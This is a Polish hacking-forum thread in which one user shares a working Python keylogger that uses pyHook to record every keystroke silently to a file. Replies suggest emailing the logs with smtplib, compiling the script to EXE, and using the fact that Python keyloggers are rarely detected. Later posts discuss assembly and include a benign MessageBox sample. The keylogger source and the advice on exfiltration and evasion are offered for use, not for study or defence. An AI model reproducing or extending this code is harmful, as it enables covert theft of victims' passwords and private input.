Keylogger w Pythonie (moja przerobka)

Zbiór ciekawych kodów źródłowych, skryptów i gotowców.
Regulamin forum
-Staraj się poprzedzać nazwę tematu prefiksem z nazwą języka programowania np. [Python] nazwa tematu.
-Wklejaj źródła w znaczniku

Kod: Zaznacz cały

[/b].
-Staraj się w skrócie opisać do czego dane źródło służy.
[b]-Zawsze podaj stronę domową autora (jeśli znasz te informacje)[/b]. Szanujemy cudzą prace!
Kenjin
Ekipa HEP
Posty: 122
Rejestracja: 04 sty 2016, 22:10

Keylogger w Pythonie (moja przerobka)

Post autor: Kenjin » 10 sty 2016, 16:55

Witam, prezentuje wam moja ulepszona wersje najpopularniejszego keyloggera w pythonie. Wykorzystuje ona moduly pyhook(do hookowania klawiszy) i pythoncom(pywin32). Loguje do pliku.

Kod: Zaznacz cały

import pythoncom, pyHook, time

buffer = []

def OnKeyboardEvent(event):
    buffer.append(chr(event.Ascii))
    if len(buffer) > 20:
        f = open('C://output.txt', 'a')
        wpisz = str(buffer)
        wpisz = wpisz.replace(",", "")
        wpisz = wpisz.replace("'", "")
        wpisz = wpisz.replace('[', "")
        wpisz = wpisz.replace(']', "")
        f.write(wpisz)
        f.write('\n')
        f.close()
        buffer[:] = []



hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Awatar użytkownika
F3nix
Posty: 328
Rejestracja: 28 kwie 2015, 20:51

Re: Keylogger(moja przerobka)

Post autor: F3nix » 11 sty 2016, 06:37

Dzięki za źródła! Dla mnie jednak keyloggery w językach interpretowanych bronią się tylko poziomem wykrywalności... bo trochę cienka sprawa jest gdy ktoś nie ma zainstalowanego Pythona na kompie. Pewnie wyskoczy Kanjin zaraz, że przecież da się skompilować PY na EXE... :lol:

PS smtplib dla potomnych ;) :
http://www.tutorialspoint.com/python/py ... _email.htm

Kenjin
Ekipa HEP
Posty: 122
Rejestracja: 04 sty 2016, 22:10

Re: Keylogger(moja przerobka)

Post autor: Kenjin » 11 sty 2016, 10:38

F3nix pisze: Pewnie wyskoczy Kanjin zaraz, że przecież da się skompilować PY na EXE... :lol:
No da sie :) Ale podzielam opinie, ze tego typu rzeczy powinno sie w jak najnizejpoziomowych jezykach pisac. Swoja droga widzial ktos kiedys keyloggera w assemblerze ? :D

Awatar użytkownika
F3nix
Posty: 328
Rejestracja: 28 kwie 2015, 20:51

Re: Keylogger w Pythonie (moja przerobka)

Post autor: F3nix » 11 sty 2016, 13:14

Ja widziałem i wcale nie odbiega daleko od większości keyloggerów. Jeśli ktoś napisał sobie lub przeanalizował jakiś dajmy na to w C++ keylogger i coś tam skubał w ASM to bez problemu napisze. Wystarczy poszukać informacji o WinApi ASM. Używanie w asm winapi nie jest wcale trudne. Zobacz to zwykły messagebox z winapi: http://win32assembly.programminghorizon.com/tut2.html

Kod: Zaznacz cały

.386 
.model flat,stdcall 
option casemap:none 
include \masm32\include\windows.inc 
include \masm32\include\kernel32.inc 
includelib \masm32\lib\kernel32.lib 
include \masm32\include\user32.inc 
includelib \masm32\lib\user32.lib

.data 
MsgBoxCaption  db "Iczelion Tutorial No.2",0 
MsgBoxText       db "Win32 Assembly is Great!",0

.code 
start: 
invoke MessageBox, NULL, addr MsgBoxText, addr MsgBoxCaption, MB_OK 
invoke ExitProcess, NULL 
end start
Jak się w sumie przyjrzysz i porównasz to do wywołania messageboxa w C++ lub samej dokumentacji od M$ oficjalnej:
https://msdn.microsoft.com/en-us/librar ... s.85).aspx

to sam stwierdzisz że w sumie niczym się nie różni używanie. Jak w przykładzie deklarujesz 2 zmienne nazwa okna i tekst w okienku i wywołujesz z parametrami messagebox analogicznie do innych języków.

Nie wierze też, że nie znajdzie się gotowych wstawek w ASM do obsługi plików itd w sieci. Myślę że ASM wymaga po prostu obycia. Ewentualnie piszesz w C++ i deasemblera uzywajac masz gotowy kod w ASM :lol:

ODPOWIEDZ

Kto jest online

Użytkownicy przeglądający to forum: Obecnie na forum nie ma żadnego zarejestrowanego użytkownika i 1 gość